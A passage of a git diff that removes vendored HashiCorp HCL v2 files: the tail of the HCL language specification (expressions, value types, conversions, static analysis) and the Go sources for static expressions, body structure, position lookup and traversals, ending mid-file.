are not considered an error. - -Under partial processing, the result is both body content as described -above _and_ a new body that represents any body elements that remain after -the schema has been processed. - -Specifically: - -- Any attribute whose name is specified in the schema is returned in body - content and elided from the new body. - -- Any block whose type is specified in the schema is returned in body content - and elided from the new body. - -- Any attribute or block _not_ meeting the above conditions is placed into - the new body, unmodified. - -The new body can then be recursively processed using any of the body -processing models. This facility allows different subsets of body content -to be processed by different parts of the calling application. - -Processing a body in two steps — first partial processing of a source body, -then exhaustive processing of the returned body — is equivalent to single-step -processing with a schema that is the union of the schemata used -across the two steps. - -## Expressions - -Attribute values are represented by _expressions_. Depending on the concrete -syntax in use, an expression may just be a literal value or it may describe -a computation in terms of literal values, variables, and functions. - -Each syntax defines its own representation of expressions. For syntaxes based -in languages that do not have any non-literal expression syntax, it is -recommended to embed the template language from -[the native syntax](./hclsyntax/spec.md) e.g. as a post-processing step on -string literals. - -### Expression Evaluation - -In order to obtain a concrete value, each expression must be _evaluated_. -Evaluation is performed in terms of an evaluation context, which -consists of the following: - -- An _evaluation mode_, which is defined below. -- A _variable scope_, which provides a set of named variables for use in - expressions. -- A _function table_, which provides a set of named functions for use in - expressions. - -The _evaluation mode_ allows for two different interpretations of an -expression: - -- In _literal-only mode_, variables and functions are not available and it - is assumed that the calling application's intent is to treat the attribute - value as a literal. - -- In _full expression mode_, variables and functions are defined and it is - assumed that the calling application wishes to provide a full expression - language for definition of the attribute value. - -The actual behavior of these two modes depends on the syntax in use. For -languages with first-class expression syntax, these two modes may be considered -equivalent, with _literal-only mode_ simply not defining any variables or -functions. For languages that embed arbitrary expressions via string templates, -_literal-only mode_ may disable such processing, allowing literal strings to -pass through without interpretation as templates. - -Since literal-only mode does not support variables and functions, it is an -error for the calling application to enable this mode and yet provide a -variable scope and/or function table. - -## Values and Value Types - -The result of expression evaluation is a _value_. Each value has a _type_, -which is dynamically determined during evaluation. The _variable scope_ in -the evaluation context is a map from variable name to value, using the same -definition of value. - -The type system for HCL values is intended to be of a level abstraction -suitable for configuration of various applications. A well-defined, -implementation-language-agnostic type system is defined to allow for -consistent processing of configuration across many implementation languages. -Concrete implementations may provide additional functionality to lower -HCL values and types to corresponding native language types, which may then -impose additional constraints on the values outside of the scope of this -specification. - -Two values are _equal_ if and only if they have identical types and their -values are equal according to the rules of their shared type. - -### Primitive Types - -The primitive types are _string_, _bool_, and _number_. - -A _string_ is a sequence of unicode characters. Two strings are equal if -NFC normalization ([UAX#15](http://unicode.org/reports/tr15/) -of each string produces two identical sequences of characters. -NFC normalization ensures that, for example, a precomposed combination of a -latin letter and a diacritic compares equal with the letter followed by -a combining diacritic. - -The _bool_ type has only two non-null values: _true_ and _false_. Two bool -values are equal if and only if they are either both true or both false. - -A _number_ is an arbitrary-precision floating point value. An implementation -_must_ make the full-precision values available to the calling application -for interpretation into any suitable number representation. An implementation -may in practice implement numbers with limited precision so long as the -following constraints are met: - -- Integers are represented with at least 256 bits. -- Non-integer numbers are represented as floating point values with a - mantissa of at least 256 bits and a signed binary exponent of at least - 16 bits. -- An error is produced if an integer value given in source cannot be - represented precisely. -- An error is produced if a non-integer value cannot be represented due to - overflow. -- A non-integer number is rounded to the nearest possible value when a - value is of too high a precision to be represented. - -The _number_ type also requires representation of both positive and negative -infinity. A "not a number" (NaN) value is _not_ provided nor used. - -Two number values are equal if they are numerically equal to the precision -associated with the number. Positive infinity and negative infinity are -equal to themselves but not to each other. Positive infinity is greater than -any other number value, and negative infinity is less than any other number -value. - -Some syntaxes may be unable to represent numeric literals of arbitrary -precision. This must be defined in the syntax specification as part of its -description of mapping numeric literals to HCL values. - -### Structural Types - -_Structural types_ are types that are constructed by combining other types. -Each distinct combination of other types is itself a distinct type. There -are two structural type _kinds_: - -- _Object types_ are constructed of a set of named attributes, each of which - has a type. Attribute names are always strings. (_Object_ attributes are a - distinct idea from _body_ attributes, though calling applications - may choose to blur the distinction by use of common naming schemes.) -- _Tuple types_ are constructed of a sequence of elements, each of which - has a type. - -Values of structural types are compared for equality in terms of their -attributes or elements. A structural type value is equal to another if and -only if all of the corresponding attributes or elements are equal. - -Two structural types are identical if they are of the same kind and -have attributes or elements with identical types. - -### Collection Types - -_Collection types_ are types that combine together an arbitrary number of -values of some other single type. There are three collection type _kinds_: - -- _List types_ represent ordered sequences of values of their element type. -- _Map types_ represent values of their element type accessed via string keys. -- _Set types_ represent unordered sets of distinct values of their element type. - -For each of these kinds and each distinct element type there is a distinct -collection type. For example, "list of string" is a distinct type from -"set of string", and "list of number" is a distinct type from "list of string". - -Values of collection types are compared for equality in terms of their -elements. A collection type value is equal to another if and only if both -have the same number of elements and their corresponding elements are equal. - -Two collection types are identical if they are of the same kind and have -the same element type. - -### Null values - -Each type has a null value. The null value of a type represents the absence -of a value, but with type information retained to allow for type checking. - -Null values are used primarily to represent the conditional absence of a -body attribute. In a syntax with a conditional operator, one of the result -values of that conditional may be null to indicate that the attribute should be -considered not present in that case. - -Calling applications _should_ consider an attribute with a null value as -equivalent to the value not being present at all. - -A null value of a particular type is equal to itself. - -### Unknown Values and the Dynamic Pseudo-type - -An _unknown value_ is a placeholder for a value that is not yet known. -Operations on unknown values themselves return unknown values that have a -type appropriate to the operation. For example, adding together two unknown -numbers yields an unknown number, while comparing two unknown values of any -type for equality yields an unknown bool. - -Each type has a distinct unknown value. For example, an unknown _number_ is -a distinct value from an unknown _string_. - -_The dynamic pseudo-type_ is a placeholder for a type that is not yet known. -The only values of this type are its null value and its unknown value. It is -referred to as a _pseudo-type_ because it should not be considered a type in -its own right, but rather as a placeholder for a type yet to be established. -The unknown value of the dynamic pseudo-type is referred to as _the dynamic -value_. - -Operations on values of the dynamic pseudo-type behave as if it is a value -of the expected type, optimistically assuming that once the value and type -are known they will be valid for the operation. For example, adding together -a number and the dynamic value produces an unknown number. - -Unknown values and the dynamic pseudo-type can be used as a mechanism for -partial type checking and semantic checking: by evaluating an expression with -all variables set to an unknown value, the expression can be evaluated to -produce an unknown value of a given type, or produce an error if any operation -is provably invalid with only type information. - -Unknown values and the dynamic pseudo-type must never be returned from -operations unless at least one operand is unknown or dynamic. Calling -applications are guaranteed that unless the global scope includes unknown -values, or the function table includes functions that return unknown values, -no expression will evaluate to an unknown value. The calling application is -thus in total control over the use and meaning of unknown values. - -The dynamic pseudo-type is identical only to itself. - -### Capsule Types - -A _capsule type_ is a custom type defined by the calling application. A value -of a capsule type is considered opaque to HCL, but may be accepted -by functions provided by the calling application. - -A particular capsule type is identical only to itself. The equality of two -values of the same capsule type is defined by the calling application. No -other operations are supported for values of capsule types. - -Support for capsule types in a HCL implementation is optional. Capsule types -are intended to allow calling applications to pass through values that are -not part of the standard type system. For example, an application that -deals with raw binary data may define a capsule type representing a byte -array, and provide functions that produce or operate on byte arrays. - -### Type Specifications - -In certain situations it is necessary to define expectations about the expected -type of a value. Whereas two _types_ have a commutative _identity_ relationship, -a type has a non-commutative _matches_ relationship with a _type specification_. -A type specification is, in practice, just a different interpretation of a -type such that: - -- Any type _matches_ any type that it is identical to. - -- Any type _matches_ the dynamic pseudo-type. - -For example, given a type specification "list of dynamic pseudo-type", the -concrete types "list of string" and "list of map" match, but the -type "set of string" does not. - -## Functions and Function Calls - -The evaluation context used to evaluate an expression includes a function -table, which represents an application-defined set of named functions -available for use in expressions. - -Each syntax defines whether function calls are supported and how they are -physically represented in source code, but the semantics of function calls are -defined here to ensure consistent results across syntaxes and to allow -applications to provide functions that are interoperable with all syntaxes. - -A _function_ is defined from the following elements: - -- Zero or more _positional parameters_, each with a name used for documentation, - a type specification for expected argument values, and a flag for whether - each of null values, unknown values, and values of the dynamic pseudo-type - are accepted. - -- Zero or one _variadic parameters_, with the same structure as the _positional_ - parameters, which if present collects any additional arguments provided at - the function call site. - -- A _result type definition_, which specifies the value type returned for each - valid sequence of argument values. - -- A _result value definition_, which specifies the value returned for each - valid sequence of argument values. - -A _function call_, regardless of source syntax, consists of a sequence of -argument values. The argument values are each mapped to a corresponding -parameter as follows: - -- For each of the function's positional parameters in sequence, take the next - argument. If there are no more arguments, the call is erroneous. - -- If the function has a variadic parameter, take all remaining arguments that - where not yet assigned to a positional parameter and collect them into - a sequence of variadic arguments that each correspond to the variadic - parameter. - -- If the function has _no_ variadic parameter, it is an error if any arguments - remain after taking one argument for each positional parameter. - -After mapping each argument to a parameter, semantic checking proceeds -for each argument: - -- If the argument value corresponding to a parameter does not match the - parameter's type specification, the call is erroneous. - -- If the argument value corresponding to a parameter is null and the parameter - is not specified as accepting nulls, the call is erroneous. - -- If the argument value corresponding to a parameter is the dynamic value - and the parameter is not specified as accepting values of the dynamic - pseudo-type, the call is valid but its _result type_ is forced to be the - dynamic pseudo type. - -- If neither of the above conditions holds for any argument, the call is - valid and the function's value type definition is used to determine the - call's _result type_. A function _may_ vary its result type depending on - the argument _values_ as well as the argument _types_; for example, a - function that decodes a JSON value will return a different result type - depending on the data structure described by the given JSON source code. - -If semantic checking succeeds without error, the call is _executed_: - -- For each argument, if its value is unknown and its corresponding parameter - is not specified as accepting unknowns, the _result value_ is forced to be an - unknown value of the result type. - -- If the previous condition does not apply, the function's result value - definition is used to determine the call's _result value_. - -The result of a function call expression is either an error, if one of the -erroneous conditions above applies, or the _result value_. - -## Type Conversions and Unification - -Values given in configuration may not always match the expectations of the -operations applied to them or to the calling application. In such situations, -automatic type conversion is attempted as a convenience to the user. - -Along with conversions to a _specified_ type, it is sometimes necessary to -ensure that a selection of values are all of the _same_ type, without any -constraint on which type that is. This is the process of _type unification_, -which attempts to find the most general type that all of the given types can -be converted to. - -Both type conversions and unification are defined in the syntax-agnostic -model to ensure consistency of behavior between syntaxes. - -Type conversions are broadly characterized into two categories: _safe_ and -_unsafe_. A conversion is "safe" if any distinct value of the source type -has a corresponding distinct value in the target type. A conversion is -"unsafe" if either the target type values are _not_ distinct (information -may be lost in conversion) or if some values of the source type do not have -any corresponding value in the target type. An unsafe conversion may result -in an error. - -A given type can always be converted to itself, which is a no-op. - -### Conversion of Null Values - -All null values are safely convertable to a null value of any other type, -regardless of other type-specific rules specified in the sections below. - -### Conversion to and from the Dynamic Pseudo-type - -Conversion _from_ the dynamic pseudo-type _to_ any other type always succeeds, -producing an unknown value of the target type. - -Conversion of any value _to_ the dynamic pseudo-type is a no-op. The result -is the input value, verbatim. This is the only situation where the conversion -result value is not of the given target type. - -### Primitive Type Conversions - -Bidirectional conversions are available between the string and number types, -and between the string and boolean types. - -The bool value true corresponds to the string containing the characters "true", -while the bool value false corresponds to the string containing the characters -"false". Conversion from bool to string is safe, while the converse is -unsafe. The strings "1" and "0" are alternative string representations -of true and false respectively. It is an error to convert a string other than -the four in this paragraph to type bool. - -A number value is converted to string by translating its integer portion -into a sequence of decimal digits (`0` through `9`), and then if it has a -non-zero fractional part, a period `.` followed by a sequence of decimal -digits representing its fractional part. No exponent portion is included. -The number is converted at its full precision. Conversion from number to -string is safe. - -A string is converted to a number value by reversing the above mapping. -No exponent portion is allowed. Conversion from string to number is unsafe. -It is an error to convert a string that does not comply with the expected -syntax to type number. - -No direct conversion is available between the bool and number types. - -### Collection and Structural Type Conversions - -Conversion from set types to list types is _safe_, as long as their -element types are safely convertable. If the element types are _unsafely_ -convertable, then the collection conversion is also unsafe. Each set element -becomes a corresponding list element, in an undefined order. Although no -particular ordering is required, implementations _should_ produce list -elements in a consistent order for a given input set, as a convenience -to calling applications. - -Conversion from list types to set types is _unsafe_, as long as their element -types are convertable. Each distinct list item becomes a distinct set item. -If two list items are equal, one of the two is lost in the conversion. - -Conversion from tuple types to list types permitted if all of the -tuple element types are convertable to the target list element type. -The safety of the conversion depends on the safety of each of the element -conversions. Each element in turn is converted to the list element type, -producing a list of identical length. - -Conversion from tuple types to set types is permitted, behaving as if the -tuple type was first converted to a list of the same element type and then -that list converted to the target set type. - -Conversion from object types to map types is permitted if all of the object -attribute types are convertable to the target map element type. The safety -of the conversion depends on the safety of each of the attribute conversions. -Each attribute in turn is converted to the map element type, and map element -keys are set to the name of each corresponding object attribute. - -Conversion from list and set types to tuple types is permitted, following -the opposite steps as the converse conversions. Such conversions are _unsafe_. -It is an error to convert a list or set to a tuple type whose number of -elements does not match the list or set length. - -Conversion from map types to object types is permitted if each map key -corresponds to an attribute in the target object type. It is an error to -convert from a map value whose set of keys does not exactly match the target -type's attributes. The conversion takes the opposite steps of the converse -conversion. - -Conversion from one object type to another is permitted as long as the -common attribute names have convertable types. Any attribute present in the -target type but not in the source type is populated with a null value of -the appropriate type. - -Conversion from one tuple type to another is permitted as long as the -tuples have the same length and the elements have convertable types. - -### Type Unification - -Type unification is an operation that takes a list of types and attempts -to find a single type to which they can all be converted. Since some -type pairs have bidirectional conversions, preference is given to _safe_ -conversions. In technical terms, all possible types are arranged into -a lattice, from which a most general supertype is selected where possible. - -The type resulting from type unification may be one of the input types, or -it may be an entirely new type produced by combination of two or more -input types. - -The following rules do not guarantee a valid result. In addition to these -rules, unification fails if any of the given types are not convertable -(per the above rules) to the selected result type. - -The following unification rules apply transitively. That is, if a rule is -defined from A to B, and one from B to C, then A can unify to C. - -Number and bool types both unify with string by preferring string. - -Two collection types of the same kind unify according to the unification -of their element types. - -List and set types unify by preferring the list type. - -Map and object types unify by preferring the object type. - -List, set and tuple types unify by preferring the tuple type. - -The dynamic pseudo-type unifies with any other type by selecting that other -type. The dynamic pseudo-type is the result type only if _all_ input types -are the dynamic pseudo-type. - -Two object types unify by constructing a new type whose attributes are -the union of those of the two input types. Any common attributes themselves -have their types unified. - -Two tuple types of the same length unify constructing a new type of the -same length whose elements are the unification of the corresponding elements -in the two input types. - -## Static Analysis - -In most applications, full expression evaluation is sufficient for understanding -the provided configuration. However, some specialized applications require more -direct access to the physical structures in the expressions, which can for -example allow the construction of new language constructs in terms of the -existing syntax elements. - -Since static analysis analyses the physical structure of configuration, the -details will vary depending on syntax. Each syntax must decide which of its -physical structures corresponds to the following analyses, producing error -diagnostics if they are applied to inappropriate expressions. - -The following are the required static analysis functions: - -- **Static List**: Require list/tuple construction syntax to be used and - return a list of expressions for each of the elements given. - -- **Static Map**: Require map/object construction syntax to be used and - return a list of key/value pairs -- both expressions -- for each of - the elements given. The usual constraint that a map key must be a string - must not apply to this analysis, thus allowing applications to interpret - arbitrary keys as they see fit. - -- **Static Call**: Require function call syntax to be used and return an - object describing the called function name and a list of expressions - representing each of the call arguments. - -- **Static Traversal**: Require a reference to a symbol in the variable - scope and return a description of the path from the root scope to the - accessed attribute or index. - -The intent of a calling application using these features is to require a more -rigid interpretation of the configuration than in expression evaluation. -Syntax implementations should make use of the extra contextual information -provided in order to make an intuitive mapping onto the constructs of the -underlying syntax, possibly interpreting the expression slightly differently -than it would be interpreted in normal evaluation. - -Each syntax must define which of its expression elements each of the analyses -above applies to, and how those analyses behave given those expression elements. - -## Implementation Considerations - -Implementations of this specification are free to adopt any strategy that -produces behavior consistent with the specification. This non-normative -section describes some possible implementation strategies that are consistent -with the goals of this specification. - -### Language-agnosticism - -The language-agnosticism of this specification assumes that certain behaviors -are implemented separately for each syntax: - -- Matching of a body schema with the physical elements of a body in the - source language, to determine correspondence between physical constructs - and schema elements. - -- Implementing the _dynamic attributes_ body processing mode by either - interpreting all physical constructs as attributes or producing an error - if non-attribute constructs are present. - -- Providing an evaluation function for all possible expressions that produces - a value given an evaluation context. - -- Providing the static analysis functionality described above in a manner that - makes sense within the convention of the syntax. - -The suggested implementation strategy is to use an implementation language's -closest concept to an _abstract type_, _virtual type_ or _interface type_ -to represent both Body and Expression. Each language-specific implementation -can then provide an implementation of each of these types wrapping AST nodes -or other physical constructs from the language parser. diff --git a/vendor/github.com/hashicorp/hcl/v2/static_expr.go b/vendor/github.com/hashicorp/hcl/v2/static_expr.go deleted file mode 100644 index 98ada87b62..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/static_expr.go +++ /dev/null @@ -1,40 +0,0 @@ -package hcl - -import ( - "github.com/zclconf/go-cty/cty" -) - -type staticExpr struct { - val cty.Value - rng Range -} - -// StaticExpr returns an Expression that always evaluates to the given value. -// -// This is useful to substitute default values for expressions that are -// not explicitly given in configuration and thus would otherwise have no -// Expression to return. -// -// Since expressions are expected to have a source range, the caller must -// provide one. Ideally this should be a real source range, but it can -// be a synthetic one (with an empty-string filename) if no suitable range -// is available. -func StaticExpr(val cty.Value, rng Range) Expression { - return staticExpr{val, rng} -} - -func (e staticExpr) Value(ctx *EvalContext) (cty.Value, Diagnostics) { - return e.val, nil -} - -func (e staticExpr) Variables() []Traversal { - return nil -} - -func (e staticExpr) Range() Range { - return e.rng -} - -func (e staticExpr) StartRange() Range { - return e.rng -} diff --git a/vendor/github.com/hashicorp/hcl/v2/structure.go b/vendor/github.com/hashicorp/hcl/v2/structure.go deleted file mode 100644 index aab09457d7..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/structure.go +++ /dev/null @@ -1,151 +0,0 @@ -package hcl - -import ( - "github.com/zclconf/go-cty/cty" -) - -// File is the top-level node that results from parsing a HCL file. -type File struct { - Body Body - Bytes []byte - - // Nav is used to integrate with the "hcled" editor integration package, - // and with diagnostic information formatters. It is not for direct use - // by a calling application. - Nav interface{} -} - -// Block represents a nested block within a Body. -type Block struct { - Type string - Labels []string - Body Body - - DefRange Range // Range that can be considered the "definition" for seeking in an editor - TypeRange Range // Range for the block type declaration specifically. - LabelRanges []Range // Ranges for the label values specifically. -} - -// Blocks is a sequence of Block. -type Blocks []*Block - -// Attributes is a set of attributes keyed by their names. -type Attributes map[string]*Attribute - -// Body is a container for attributes and blocks. It serves as the primary -// unit of hierarchical structure within configuration. -// -// The content of a body cannot be meaningfully interpreted without a schema, -// so Body represents the raw body content and has methods that allow the -// content to be extracted in terms of a given schema. -type Body interface { - // Content verifies that the entire body content conforms to the given - // schema and then returns it, and/or returns diagnostics. The returned - // body content is valid if non-nil, regardless of whether Diagnostics - // are provided, but diagnostics should still be eventually shown to - // the user. - Content(schema *BodySchema) (*BodyContent, Diagnostics) - - // PartialContent is like Content except that it permits the configuration - // to contain additional blocks or attributes not specified in the - // schema. If any are present, the returned Body is non-nil and contains - // the remaining items from the body that were not selected by the schema. - PartialContent(schema *BodySchema) (*BodyContent, Body, Diagnostics) - - // JustAttributes attempts to interpret all of the contents of the body - // as attributes, allowing for the contents to be accessed without a priori - // knowledge of the structure. - // - // The behavior of this method depends on the body's source language. - // Some languages, like JSON, can't distinguish between attributes and - // blocks without schema hints, but for languages that _can_ error - // diagnostics will be generated if any blocks are present in the body. - // - // Diagnostics may be produced for other reasons too, such as duplicate - // declarations of the same attribute. - JustAttributes() (Attributes, Diagnostics) - - // MissingItemRange returns a range that represents where a missing item - // might hypothetically be inserted. This is used when producing - // diagnostics about missing required attributes or blocks. Not all bodies - // will have an obvious single insertion point, so the result here may - // be rather arbitrary. - MissingItemRange() Range -} - -// BodyContent is the result of applying a BodySchema to a Body. -type BodyContent struct { - Attributes Attributes - Blocks Blocks - - MissingItemRange Range -} - -// Attribute represents an attribute from within a body. -type Attribute struct { - Name string - Expr Expression - - Range Range - NameRange Range -} - -// Expression is a literal value or an expression provided in the -// configuration, which can be evaluated within a scope to produce a value. -type Expression interface { - // Value returns the value resulting from evaluating the expression - // in the given evaluation context. - // - // The context may be nil, in which case the expression may contain - // only constants and diagnostics will be produced for any non-constant - // sub-expressions. (The exact definition of this depends on the source - // language.) - // - // The context may instead be set but have either its Variables or - // Functions maps set to nil, in which case only use of these features - // will return diagnostics. - // - // Different diagnostics are provided depending on whether the given - // context maps are nil or empty. In the former case, the message - // tells the user that variables/functions are not permitted at all, - // while in the latter case usage will produce a "not found" error for - // the specific symbol in question. - Value(ctx *EvalContext) (cty.Value, Diagnostics) - - // Variables returns a list of variables referenced in the receiving - // expression. These are expressed as absolute Traversals, so may include - // additional information about how the variable is used, such as - // attribute lookups, which the calling application can potentially use - // to only selectively populate the scope. - Variables() []Traversal - - Range() Range - StartRange() Range -} - -// OfType filters the receiving block sequence by block type name, -// returning a new block sequence including only the blocks of the -// requested type. -func (els Blocks) OfType(typeName string) Blocks { - ret := make(Blocks, 0) - for _, el := range els { - if el.Type == typeName { - ret = append(ret, el) - } - } - return ret -} - -// ByType transforms the receiving block sequence into a map from type -// name to block sequences of only that type. -func (els Blocks) ByType() map[string]Blocks { - ret := make(map[string]Blocks) - for _, el := range els { - ty := el.Type - if ret[ty] == nil { - ret[ty] = make(Blocks, 0, 1) - } - ret[ty] = append(ret[ty], el) - } - return ret -} diff --git a/vendor/github.com/hashicorp/hcl/v2/structure_at_pos.go b/vendor/github.com/hashicorp/hcl/v2/structure_at_pos.go deleted file mode 100644 index 8521814e5f..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/structure_at_pos.go +++ /dev/null @@ -1,117 +0,0 @@ -package hcl - -// ----------------------------------------------------------------------------- -// The methods in this file all have the general pattern of making a best-effort -// to find one or more constructs that contain a given source position. -// -// These all operate by delegating to an optional method of the same name and -// signature on the file's root body, allowing each syntax to potentially -// provide its own implementations of these. For syntaxes that don't implement -// them, the result is always nil. -// ----------------------------------------------------------------------------- - -// BlocksAtPos attempts to find all of the blocks that contain the given -// position, ordered so that the outermost block is first and the innermost -// block is last. This is a best-effort method that may not be able to produce -// a complete result for all positions or for all HCL syntaxes. -// -// If the returned slice is non-empty, the first element is guaranteed to -// represent the same block as would be the result of OutermostBlockAtPos and -// the last element the result of InnermostBlockAtPos. However, the -// implementation may return two different objects describing the same block, -// so comparison by pointer identity is not possible. -// -// The result is nil if no blocks at all contain the given position. -func (f *File) BlocksAtPos(pos Pos) []*Block { - // The root body of the file must implement this interface in order - // to support BlocksAtPos. - type Interface interface { - BlocksAtPos(pos Pos) []*Block - } - - impl, ok := f.Body.(Interface) - if !ok { - return nil - } - return impl.BlocksAtPos(pos) -} - -// OutermostBlockAtPos attempts to find a top-level block in the receiving file -// that contains the given position. This is a best-effort method that may not -// be able to produce a result for all positions or for all HCL syntaxes. -// -// The result is nil if no single block could be selected for any reason. -func (f *File) OutermostBlockAtPos(pos Pos) *Block { - // The root body of the file must implement this interface in order - // to support OutermostBlockAtPos. - type Interface interface { - OutermostBlockAtPos(pos Pos) *Block - } - - impl, ok := f.Body.(Interface) - if !ok { - return nil - } - return impl.OutermostBlockAtPos(pos) -} - -// InnermostBlockAtPos attempts to find the most deeply-nested block in the -// receiving file that contains the given position. This is a best-effort -// method that may not be able to produce a result for all positions or for -// all HCL syntaxes. -// -// The result is nil if no single block could be selected for any reason. -func (f *File) InnermostBlockAtPos(pos Pos) *Block { - // The root body of the file must implement this interface in order - // to support InnermostBlockAtPos. - type Interface interface { - InnermostBlockAtPos(pos Pos) *Block - } - - impl, ok := f.Body.(Interface) - if !ok { - return nil - } - return impl.InnermostBlockAtPos(pos) -} - -// OutermostExprAtPos attempts to find an expression in the receiving file -// that contains the given position. This is a best-effort method that may not -// be able to produce a result for all positions or for all HCL syntaxes. -// -// Since expressions are often nested inside one another, this method returns -// the outermost "root" expression that is not contained by any other. -// -// The result is nil if no single expression could be selected for any reason. -func (f *File) OutermostExprAtPos(pos Pos) Expression { - // The root body of the file must implement this interface in order - // to support OutermostExprAtPos. - type Interface interface { - OutermostExprAtPos(pos Pos) Expression - } - - impl, ok := f.Body.(Interface) - if !ok { - return nil - } - return impl.OutermostExprAtPos(pos) -} - -// AttributeAtPos attempts to find an attribute definition in the receiving -// file that contains the given position. This is a best-effort method that may -// not be able to produce a result for all positions or for all HCL syntaxes. -// -// The result is nil if no single attribute could be selected for any reason. -func (f *File) AttributeAtPos(pos Pos) *Attribute { - // The root body of the file must implement this interface in order - // to support OutermostExprAtPos. - type Interface interface { - AttributeAtPos(pos Pos) *Attribute - } - - impl, ok := f.Body.(Interface) - if !ok { - return nil - } - return impl.AttributeAtPos(pos) -} diff --git a/vendor/github.com/hashicorp/hcl/v2/traversal.go b/vendor/github.com/hashicorp/hcl/v2/traversal.go deleted file mode 100644 index d710197008..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/traversal.go +++ /dev/null @@ -1,293 +0,0 @@ -package hcl - -import ( - "fmt" - - "github.com/zclconf/go-cty/cty" -) - -// A Traversal is a description of traversing through a value through a -// series of operations such as attribute lookup, index lookup, etc. -// -// It is used to look up values in scopes, for example. -// -// The traversal operations are implementations of interface Traverser. -// This is a closed set of implementations, so the interface cannot be -// implemented from outside this package. -// -// A traversal can be absolute (its first value is a symbol name) or relative -// (starts from an existing value). -type Traversal []Traverser - -// TraversalJoin appends a relative traversal to an absolute traversal to -// produce a new absolute traversal. -func TraversalJoin(abs Traversal, rel Traversal) Traversal { - if abs.IsRelative() { - panic("first argument to TraversalJoin must be absolute") - } - if !rel.IsRelative() { - panic("second argument to TraversalJoin must be relative") - } - - ret := make(Traversal, len(abs)+len(rel)) - copy(ret, abs) - copy(ret[len(abs):], rel) - return ret -} - -// TraverseRel applies the receiving traversal to the given value, returning -// the resulting value. This is supported only for relative traversals, -// and will panic if applied to an absolute traversal. -func (t Traversal) TraverseRel(val cty.Value) (cty.Value, Diagnostics) { - if !t.IsRelative() { - panic("can't use TraverseRel on an absolute traversal") - } - - current := val - var diags Diagnostics - for _, tr := range t { - var newDiags Diagnostics - current, newDiags = tr.TraversalStep(current) - diags = append(diags, newDiags...) - if newDiags.HasErrors() { - return cty.DynamicVal, diags - } - } - return current, diags -} - -// TraverseAbs applies the receiving traversal to the given eval context, -// returning the resulting value. This is supported only for absolute -// traversals, and will panic if applied to a relative traversal. -func (t Traversal) TraverseAbs(ctx *EvalContext) (cty.Value, Diagnostics) { - if t.IsRelative() { - panic("can't use TraverseAbs on a relative traversal") - } - - split := t.SimpleSplit() - root := split.Abs[0].(TraverseRoot) - name := root.Name - - thisCtx := ctx - hasNonNil := false - for thisCtx != nil { - if thisCtx.Variables == nil { - thisCtx = thisCtx.parent - continue - } - hasNonNil = true - val, exists := thisCtx.Variables[name] - if exists { - return split.Rel.TraverseRel(val) - } - thisCtx = thisCtx.parent - } - - if !hasNonNil { - return cty.DynamicVal, Diagnostics{ - { - Severity: DiagError, - Summary: "Variables not allowed", - Detail: "Variables may not be used here.", - Subject: &root.SrcRange, - }, - } - } - - suggestions := make([]string, 0, len(ctx.Variables)) - thisCtx = ctx - for thisCtx != nil { - for k := range thisCtx.Variables { - suggestions = append(suggestions, k) - } - thisCtx = thisCtx.parent - } - suggestion := nameSuggestion(name, suggestions) - if suggestion != "" { - suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) - } - - return cty.DynamicVal, Diagnostics{ - { - Severity: DiagError, - Summary: "Unknown variable", - Detail: fmt.Sprintf("There is no variable named %q.%s", name, suggestion), - Subject: &root.SrcRange, - }, - } -} - -// IsRelative returns true if the receiver is a relative traversal, or false -// otherwise. -func (t Traversal) IsRelative() bool { - if len(t) == 0 { - return true - } - if _, firstIsRoot := t[0].(TraverseRoot); firstIsRoot { - return false - } - return true -} - -// SimpleSplit returns a TraversalSplit where the name lookup is the absolute -// part and the remainder is the relative part. Supported only for -// absolute traversals, and will panic if applied to a relative traversal. -// -// This can be used by applications that have a relatively-simple variable -// namespace where only the top-level is directly populated in the scope, with -// everything else handled by relative lookups from those initial values. -func (t Traversal) SimpleSplit() TraversalSplit { - if t.IsRelative() { - panic("can't use SimpleSplit on a relative traversal") - } - return TraversalSplit{ - Abs: t[0:1], - Rel: t[1:], - } -} - -// RootName returns the root name for a absolute traversal. Will panic if -// called on a relative traversal. -func (t Traversal) RootName() string { - if t.IsRelative() { - panic("can't use RootName on a relative traversal") - - } - return t[0].(TraverseRoot).Name -} - -// SourceRange returns the source range for the traversal. -func (t Traversal) SourceRange() Range { - if len(t) == 0 { - // Nothing useful to return here, but we'll return something - // that's correctly-typed at least. - return Range{} - } - - return RangeBetween(t[0].SourceRange(), t[len(t)-1].SourceRange()) -} - -// TraversalSplit represents a pair of traversals, the first of which is -// an absolute traversal and the second of which is relative to the first. -// -// This is used by calling applications that only populate prefixes of the -// traversals in the scope, with Abs representing the part coming from the -// scope and Rel representing the remaining steps once that part is -// retrieved. -type TraversalSplit struct { - Abs Traversal - Rel Traversal -} - -// TraverseAbs traverses from a scope to the value resulting from the -// absolute traversal. -func (t TraversalSplit) TraverseAbs(ctx *EvalContext) (cty.Value, Diagnostics) { - return t.Abs.TraverseAbs(ctx) -} - -// TraverseRel traverses from a given value, assumed to be the result of -// TraverseAbs on some scope, to a final result for the entire split traversal. -func (t TraversalSplit) TraverseRel(val cty.Value) (cty.Value, Diagnostics) { - return t.Rel.TraverseRel(val) -} - -// Traverse is a convenience function to apply TraverseAbs followed by -// TraverseRel. -func (t TraversalSplit) Traverse(ctx *EvalContext) (cty.Value, Diagnostics) { - v1, diags := t.TraverseAbs(ctx) - if diags.HasErrors() { - return cty.DynamicVal, diags - } - v2, newDiags := t.TraverseRel(v1) - diags = append(diags, newDiags...) - return v2, diags -} - -// Join concatenates together the Abs and Rel parts to produce a single -// absolute traversal. -func (t TraversalSplit) Join() Traversal { - return TraversalJoin(t.Abs, t.Rel) -} - -// RootName returns the root name for the absolute part of the split. -func (t TraversalSplit) RootName() string { - return t.Abs.RootName() -} - -// A Traverser is a step within a Traversal. -type Traverser interface { - TraversalStep(cty.Value) (cty.Value, Diagnostics) - SourceRange() Range - isTraverserSigil() isTraverser -} - -// Embed this in a struct to declare it as a Traverser -type isTraverser struct { -} - -func (tr isTraverser) isTraverserSigil() isTraverser { - return isTraverser{} -} - -// TraverseRoot looks up a root name in a scope. It is used as the first step -// of an absolute Traversal, and cannot itself be traversed directly. -type TraverseRoot struct { - isTraverser - Name string - SrcRange Range -} - -// TraversalStep on a TraverseName immediately panics, because absolute -// traversals cannot be directly traversed. -func (tn TraverseRoot) TraversalStep(cty.Value) (cty.Value, Diagnostics) { - panic("Cannot traverse an 